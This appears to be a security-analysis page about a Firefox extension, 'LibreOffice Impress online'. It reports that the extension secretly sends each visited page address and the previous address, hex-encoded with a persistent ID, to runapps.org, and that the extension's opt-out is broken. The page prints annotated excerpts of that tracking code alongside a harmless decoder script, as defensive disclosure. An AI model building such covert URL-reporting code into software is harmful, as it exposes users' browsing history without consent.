Is LibreOffice Impress online safe?

Medium risk

LibreOffice Impress online sends each page you visit, with the previous page, to runapps.org once a day.

The extension is meant to open PowerPoint files in an online editor. In the background it hex-encodes the URL of each top-level page you navigate to plus the tab's previous URL, and sends them with a persistent random user ID to runapps.org once per day. It also reports the URL of any .ppt or .pptx file you open, and the server's reply can make it open a new runapps.org tab; the popup opt-out writes a different storage key than the one the reporting code reads, so it has no effect.

RunAppsv1.1.5Firefox Add-ons
51Risk
Who publishes it

RunApps - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

PPT opener sends the address of each page you open to runapps.org, once a day

Code analysis shows the extension sends the hex-encoded page address and the tab's previous address to runapps.org daily.

Its stated purpose is opening PowerPoint files, and the popup opt-out does not reach this path.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You open a website in a tab, whether or not it has anything to do with presentations.

The extension did this

The extension hex-encodes that address plus the tab's previous one and requests it from www.runapps.org, once per day.

The reply can make it open a runapps.org tab.

Query string sent to www.runapps.org/app/applicaton-libreofficeimpress.php
  • Visited and prior URL
    fpah=68747470733a2f2f6578616d706c652e636f6d2f...7c7c7c...

    The page you just opened and the page the tab showed before, joined with ||| and hex-encoded.

  • Persistent ID
    u=k3x9qd0ab7

    A random 10-character ID kept in local storage, so requests from one browser can be linked.

  • Day of month
    d22=09

    The current day, used by the once-per-day gate.

  • Fixed flag
    xx=1

    A constant marker on every request.

The code that does this

Navigation listener and the daily request, runapps.js

Readable version

Listener, annotated

runapps.js
// every main-frame navigation, on any host containing a dotchrome.webNavigation.onCommitted.addListener((nav) => {  if (nav.frameId !== 0) return;  const current = nav.url;  chrome.storage.local.get(String(nav.tabId), (item) => {    const previous = item[String(nav.tabId)];    reportOncePerDay(current + '|||' + previous);    chrome.storage.local.set({ [nav.tabId]: current });  });}, { url: [{ hostContains: '.' }] });

Request and tab open, annotated

runapps.js
// reportOncePerDay(): skipped if already sent today or if opted outconst res = await fetch(SERVER + '?d22=' + day + '&fpah=' + toHex(urlPair) + '&xx=1&u=' + randomId);if (res.ok && (await res.text()).includes('OKOK')) {  remember(reply.slice(0, 2));  chrome.tabs.create({ url: INFO_PAGE + '?service=runapps&uuyy=' + randomId + '&fpah=' + toHex(urlPair) });}
Why you can't catch this in DevTools

The fpah value looks like an opaque token but is only hex, so anyone holding the request can read the addresses.

Decoded value
https://example.com/account|||https://example.com/
The code that does this

The popup opt-out writes a different storage key than the reporting path reads

Readable version

Popup (writes)

js/custom.js
// popup stores its switch under key 'mrunappsi', field 'mruop'

Background (reads)

runapps.js
// background checks key 'runappsi', field 'myruop', which the popup never writes
Destination of the navigation report
    • www.runapps.org

    Receives the hex-encoded addresses and persistent ID; its reply can trigger a new tab on the same site.

Check if you're affected

Decodes the fpah query value from a runapps.org request into the visited and previous page addresses.

Requires
  • Node.js 18+
decode_runapps_fpah.js · js
// usage: node decode_runapps_fpah.js <hex or full URL>let arg = process.argv[2] || '';if (arg.includes('fpah=')) arg = new URL(arg).searchParams.get('fpah');const text = Buffer.from(arg, 'hex').toString('utf8');const [current, previous] = text.split('|||');console.log('current :', current);console.log('previous:', previous);
How to run it
  1. 1Copy the fpah value from a logged request to runapps.org.
  2. 2Run: node decode_runapps_fpah.js <value>.
  3. 3Read the two addresses.
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.1.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every secure site you visit

    https://*/*

  • Read and change your data on every site you visit

    http://*/*

  • Store data in your browser

    storage

  • See every page you navigate to, as you navigate to it

    webNavigation

Where it sends data

Destinations our analysis observed LibreOffice Impress online contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.runapps.org

    LibreOffice Impress online sends data to www.runapps.org. 16 other extensions we have analysed send data here.